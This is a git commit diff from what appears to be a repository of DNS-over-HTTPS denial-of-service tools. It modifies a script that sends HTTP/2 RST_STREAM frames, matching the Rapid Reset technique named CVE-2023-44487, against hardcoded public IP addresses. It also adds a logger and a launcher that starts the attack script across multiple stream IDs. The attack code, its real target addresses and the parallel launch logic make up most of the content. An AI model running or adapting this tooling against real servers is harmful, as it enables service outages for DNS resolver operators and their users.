This commit is contained in:
“shihaoyue”
2024-10-21 14:58:36 +08:00
parent 0eadbb7401
commit 0b12a25356
45 changed files with 145898 additions and 366 deletions

View File

@@ -17,7 +17,7 @@ from h2.connection import H2Connection
from h2.config import H2Configuration
import h2.events
import httpx
import requests
from logger_DoE import *
import asyncio
import warnings
@@ -115,6 +115,9 @@ def send_rst_stream_h2(host, sid,port=443, uri_path='/dns-query', timeout=5, pro
#print(headers)
h2_conn.send_headers(stream_id, headers)
conn.send(h2_conn.data_to_send())
if stream_id==sid * 999999:
logger.log_info(LogLevel.PAYLOAD, f"处理的有效负载信息:{headers}")
# h2_conn.send_data(stream_id, body)
# conn.send(h2_conn.data_to_send())
h2_conn.end_stream(stream_id)
@@ -140,13 +143,14 @@ if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--sid',default=1)
args = parser.parse_args()
logger = InfoLogger(interval=1)
targets = ["8.218.236.77"]
targets = ["47.76.239.205"]
#targets = ['108.61.195.177']
for i in targets:
now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(now,f"Checking {i}...", file=sys.stderr)
#print(now,f"Checking {i}...", file=sys.stderr)
send_rst_stream_h2(i,int(args.sid))
#print("send rst stream:", resp, err2)

52
7_doh_DDoS/logger_DoE.py Normal file
View File

@@ -0,0 +1,52 @@
# -*- coding: utf-8 -*-
import time
import json
import threading
from queue import Queue
class LogLevel:
INFO = "INFO"
WARNING = "WARNING"
ERROR = "ERROR"
PAYLOAD = "PAYLOAD"
class LogEntry:
def __init__(self, log_level, log_info):
self.created_time = time.strftime("%Y-%m-%d %H:%M:%S")
self.log_level = log_level
self.log_info = log_info
class InfoLogger:
def __init__(self, interval=1):
self.log_queue = Queue()
self.interval = interval
self.logging_thread = threading.Thread(target=self.start_logging)
self.logging_thread.daemon = True
self.logging_thread.start()
def start_logging(self):
while True:
entry = self.log_queue.get()
if entry is None: # 退出信号
break
# time.sleep(self.interval) # 延迟输出
# 确保输出中文
print(json.dumps(entry.__dict__, ensure_ascii=False))
def log_info(self, level, message):
entry = LogEntry(level, message)
self.log_queue.put(entry) # 将日志条目发送到队列
def close(self):
self.log_queue.put(None) # 发送退出信号
self.logging_thread.join() # 等待线程结束
# 主函数
# if __name__ == "__main__":
# logger = InfoLogger(interval=1)
# logger.log_info(LogLevel.INFO, "程序开始运行")
# logger.log_info(LogLevel.WARNING, "这是一个警告信息")
# logger.log_info(LogLevel.ERROR, "发生了一个错误")
# logger.log_info(LogLevel.PAYLOAD, "处理的有效负载信息")
# logger.log_info(LogLevel.INFO, "程序结束运行")
# logger.close() # 关闭日志记录

View File

@@ -1,26 +1,20 @@
import argparse
import os
import time
from logger_DoE import *
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--n', default=1)
args = parser.parse_args()
logger = InfoLogger(interval=1)
logger.log_info(LogLevel.INFO, "程序开始运行")
streams = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19,21,23,25,27,29,31]
for i in streams[:int(args.n)]:
#print(f"python3 cve44487.py -s {i}")
os.popen(f"python cve44487.py -s {i}")
# for j in range(100):
# for i in streams[:int(args.n)]:
# # #print(f"python3 cve44487.py -s {i}")
# os.popen(f"python cve44487.py -s {i}")
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < 0.1:
# pass
# for i in streams[int(args.n):]:
# # #print(f"python3 cve44487.py -s {i}")
# os.popen(f"python cve44487.py -s {i}")
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < 1:
# pass
print(f"python3 cve44487.py -s {i}")
#process = os.popen(f"python cve44487.py -s {i}")
#print(process.read())
#process.close()
logger.log_info(LogLevel.INFO, "程序结束运行")
logger.close() # 关闭日志记录